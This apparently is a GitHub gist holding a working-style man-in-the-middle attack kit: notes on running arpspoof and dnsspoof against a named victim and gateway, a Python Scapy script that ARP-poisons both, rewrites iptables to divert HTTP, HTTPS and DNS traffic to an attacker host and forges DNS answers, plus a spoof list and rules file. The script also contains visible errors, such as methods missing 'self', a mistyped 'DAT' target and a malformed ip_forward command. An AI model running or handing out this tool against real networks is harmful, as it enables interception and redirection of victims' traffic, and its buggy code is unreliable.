-
arpspoof -i wlp11s0 -t 192.168.1.1 192.168.1.108 [GW] [Victim]
- Both attacks in the gateway and the victim
- It associates the MAC (attacking MAC address) to attacker net-iface MAC address
- This is an MITM attack
-
Add:
echo > 1 /proc/sys/ipv4/ip_forward
- The local machine will route packets between the GW and the victim. By local machine = Attacker machine
-
Filter
DNS
packets from theGW
in order to respondDNS queries
ourselves. Check suggested-ip-tables-rules -
DNS
spoof to resolveDNS queries
to an arbitrary IP. The Custom DNS resolver is found indnsSpoofed.txt
dnsspoof -i wlp11s0 -f dnsSpoofed.txt
-
Setup a Web Server for handling HTTP requests (attacker machine)
Last active
July 22, 2024 09:24
-
-
Save davidlares/68a6c782bd8f5463431b4d29ac5d41eb to your computer and use it in GitHub Desktop.
MITM ARP/DNS Spoof with Scapy
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
from scapy.all import * | |
import threading | |
import argparse | |
import pdb | |
import sys | |
import os | |
class ARPPoisoning(threading.Thread): | |
# Receive the source and destination address for the ARP packet. | |
def __init__(self, srcAddress, dstAddress): | |
threading.Thread.__init__(self) | |
self.srcAddress = srcAddress | |
self.dstAddress = dstAddress | |
# Every thread sends an ARP packet to the destination every second. | |
def run(self): | |
try: | |
# creating ARP packet | |
arpPacket = ARP(pdst=self.dstAddress, psrc=self.srcAddress) | |
# send packet every 1 second | |
send(arpPacket, verbose=False, loop=1) | |
except: | |
print "Unexpected error:", sys.exc_info()[0] | |
class DNSSpoofing(): | |
def __init__(self, interface, capFilter, addressToRedirect): | |
self.interface = interface | |
self.filter = capFilter | |
self.addressToRedirect = addressToRedirect | |
# Start the attack with the domains specified by command-line | |
def startAttack(self, domains, verbose): | |
self.verbose = verbose | |
fd = open(domains) | |
self.target = {} | |
for line in fd.readlines(): | |
self.target[line.split(':')[0]] = (line.split(':')[1]).replace('\n') | |
try: | |
cleanRules() | |
self.enableForwarding() | |
self.redirectionRules() | |
sniff(iface=self.interface, filter=self.filter, prn=self.ShowOrPoisoning) | |
except KeyboardInterrupt: | |
raise | |
except: | |
self.disableForwarding() | |
self.cleanRules() | |
# The attacker machine needs to forward the packets between gateway and victim. | |
def enableForwarding(): | |
os.system("echo 1 > /proc/sys/net/ipv4/ip_forward") | |
# IPTables rules to redirect the traffic to the specified destination. | |
def redirectionRules(): | |
os.system("iptables --flush") | |
os.system("iptables --zero") | |
os.system("iptables --delete-chain") | |
os.system("iptables -F -t nat") | |
os.system("iptables --append FORWARD --in-interface "+self.interface+" --jump ACCEPT") | |
os.system("iptables --table nat --append POSTROUTING --out-interface "+self.interface+" --jump MASQUERADE") | |
os.system("iptables -t nat -A PREROUTING -p tcp --dport 80 --jump DNAT --to-destination "+self.addressToRedirect) | |
os.system("iptables -t nat -A PREROUTING -p tcp --dport 443 --jump DAT --to-destination "+self.addressToRedirect) | |
os.system("iptables -A INPUT -p udp -s 0/0 --sport 1024:65535 -d 192.168.1.1 --dport 53 -m state --state NEW,ESTABLISHED -j DROP") | |
os.system("iptables -A OUTPUT -p udp -s 192.168.1.1 --sport 53 -d 0/0 --dport 1024:65535 -m state --state ESTABLISHED -j DROP") | |
os.system("iptables -A INPUT -p udp -s 0/0 --sport 53 -d 192.168.1.1 --dport 53 -m state --state NEW,ESTABLISHED -j DROP") | |
os.system("iptables -A OUTPUT -p udp -s 192.168.1.1 --sport 53 -d 0/0 --dport 53 -m state --state ESTABLISHED -j DROP") | |
os.system("iptables -t nat -A PREROUTING -i "+self.interface+" -p udp --dport 53 -j DNAT --to "+self.addressToRedirect) | |
os.system("iptables -t nat -A PREROUTING -i "+self.interface+" -p tcp --dport 53 -j DNAT --to "+self.addressToRedirect) | |
# clean the IPTables rules | |
def cleanRules(): | |
os.system("iptables --flush") | |
# Disable the packet forwarding in this machine. | |
def disableForwarding(): | |
os.system("echo 0 > /proc/sys/net/ipv4/ip_forward") | |
# Filter the DNS packets from the Gateway | |
def ShowOrPoisoning(packet): | |
# check for DNS layer and qr attribute | |
if packet.haslayer(DNS) and packet.getlayer(DNS).qr == 0 and len(self.target) > 0: | |
for targetDomain, ipAddressTarget in self.target.items(): | |
if packet.getlayer(DNS).qd.qname == targetDomain: | |
try: | |
if self.verbose: | |
print '[+] Target Domain %s searched... ' %(self.targetDomain) | |
print '[+] Crafting the DNS Packet with tht following settings: ' | |
print '[+] IP Source: %s ' %(requestIP.dst) | |
print '[+] IP Dest: %s ' %(requestIP.src) | |
print '[+] Port Source: %s ' %(requestUDP.dport) | |
print '[+] Port Dest: %s ' %(requestUDP.sport) | |
print '[+] RRName: %s ' %(packet.getlayer(DNS).qd.qname) | |
print '[+] RData: %s ' %(ipAddressTarget) | |
print '[+] DNS Packet ID: %s ' %(requestDNS.id) | |
# extracting layers | |
requestIP = packet[IP] | |
requestUDP = packet[UDP] | |
requestDNS = packet[DNS] | |
requestDNSQR = packet[DNSQR] # DNS request itselfs | |
# Forming response | |
responseIP = IP(src=requestIP.dst, dst=requestIP.src) | |
responseUDP = UDP(sport = requestUDP.dport, dport = requestUDP.sport) | |
responseDNSRR = DNSRR(rrname=packet.getlayer(DNS).qd.qname, rdata = ipAddressTarget) # Response DNS (IP of the attacker) | |
responseDNS = DNS(qr=1,id=requestDNS.id, qd=requestDNSQR, an=responseDNSRR) # qd = DNS request, an = DNS response packet | |
answer = responseIP/responseUDP/responseDNS # packing layers | |
send(answer) # send it (re-injection) | |
except: | |
print "Unexpected error:", sys.exc_info()[0] | |
print "Exception..." | |
else: | |
print packet.summary() | |
if __name__ == "__main__": | |
parser = argparse.ArgumentParser(description="ARP-MITM and DNS-Spoofing Tool") | |
parser.add_argument("-t", "--target", required=True, help="Victim IP Address") | |
parser.add_argument("-g", "--gateway", required=True, default="192.168.1.1", help="Gateway IP Address") | |
parser.add_argument("-r", "--route", required=True, help="Redirect all HTTP/HTTPS trafic to the specified Ip Address.") | |
parser.add_argument("-d", "--domains", required=True, help="File to perform DNS Spoofing.") | |
parser.add_argument("-v", "--verbose", required=False, default=False, help="Verbose") | |
parser.add_argument("-i", "--interface", required=False, default="eth0", help="IFace to use.") | |
parser.add_argument("-f", "--filter", required=False, default="udp port 53", help="Capture Filter.") | |
# args processing | |
args = parser.parse_args() | |
enableForwarding() # acting as router (attacker) | |
redirectionRules(args.route, args.interface) # invoke IPTables described | |
gateway_ip = args.gateway | |
victim_ip = args.target | |
# ARP poisoning instance | |
victim = ARPPoisoning(gateway_ip, victim_ip) | |
# ARP poisoning instance | |
gateway = ARPPoisoning(victim_ip, gateway_ip) | |
victim.setDaemon(True) | |
gateway.setDaemon(True) | |
# running thread simultaneously | |
victim.start() | |
gateway.start() | |
# Sniffing with filters and IPtables routes set (UDP in port 53 = all DNS) | |
dnsSpoof = DNSSpoofing(args.interface, args.filter, args.route) | |
# start attack | |
dnsSpoof.startAttack(args.domains, args.verbose) | |
# RUN: python file.py -t [target] -g [gateway] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
192.168.1.103 * | |
192.168.1.103 www.google.com |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
iptables --flush | |
iptables --zero | |
iptables --delete-chain | |
iptables -F -t nat | |
iptables --append FORWARD --in-interface eth0 --jump ACCEPT | |
iptables --table nat --append POSTROUTING --out-interface eth0 --jump MASQUERADE | |
iptables -t nat -A PREROUTING -p tcp --dport 80 --jump DNAT --to-destination 192.168.1.103 | |
iptables -t nat -A PREROUTING -p tcp --dport 443 --jump DNAT --to-destination 192.168.1.103 | |
iptables -A INPUT -p udp -s 0/0 --sport 1024:65535 -d 192.168.1.1 --dport 53 -m state --state NEW,ESTABLISHED -j DROP | |
iptables -A OUTPUT -p udp -s 192.168.1.1 --sport 53 -d 0/0 --dport 1024:65535 -m state --state ESTABLISHED -j DROP | |
iptables -A INPUT -p udp -s 0/0 --sport 53 -d 192.168.1.1 --dport 53 -m state --state NEW,ESTABLISHED -j DROP | |
iptables -A OUTPUT -p udp -s 192.168.1.1 --sport 53 -d 0/0 --dport 53 -m state --state ESTABLISHED -j DROP | |
iptables -t nat -A PREROUTING -i eth0 -p udp --dport 53 -j DNAT --to 192.168.1.103 | |
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 53 -j DNAT --to 192.168.1.103 |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment